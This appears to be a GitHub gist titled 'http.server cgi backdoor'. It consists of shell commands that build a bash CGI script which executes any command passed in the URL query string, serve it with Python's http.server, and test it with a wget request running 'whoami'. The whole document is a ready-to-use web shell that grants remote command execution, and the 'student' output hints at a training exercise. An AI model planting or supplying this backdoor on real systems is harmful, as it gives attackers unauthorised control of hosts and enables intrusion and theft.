Skip to content

Instantly share code, notes, and snippets.

@MarkBaggett
Created November 14, 2020 18:22
Show Gist options
  • Save MarkBaggett/38dcff6a0975f148aa858e924d64c492 to your computer and use it in GitHub Desktop.
Save MarkBaggett/38dcff6a0975f148aa858e924d64c492 to your computer and use it in GitHub Desktop.
http.server cgi backdoor
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami"
student
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment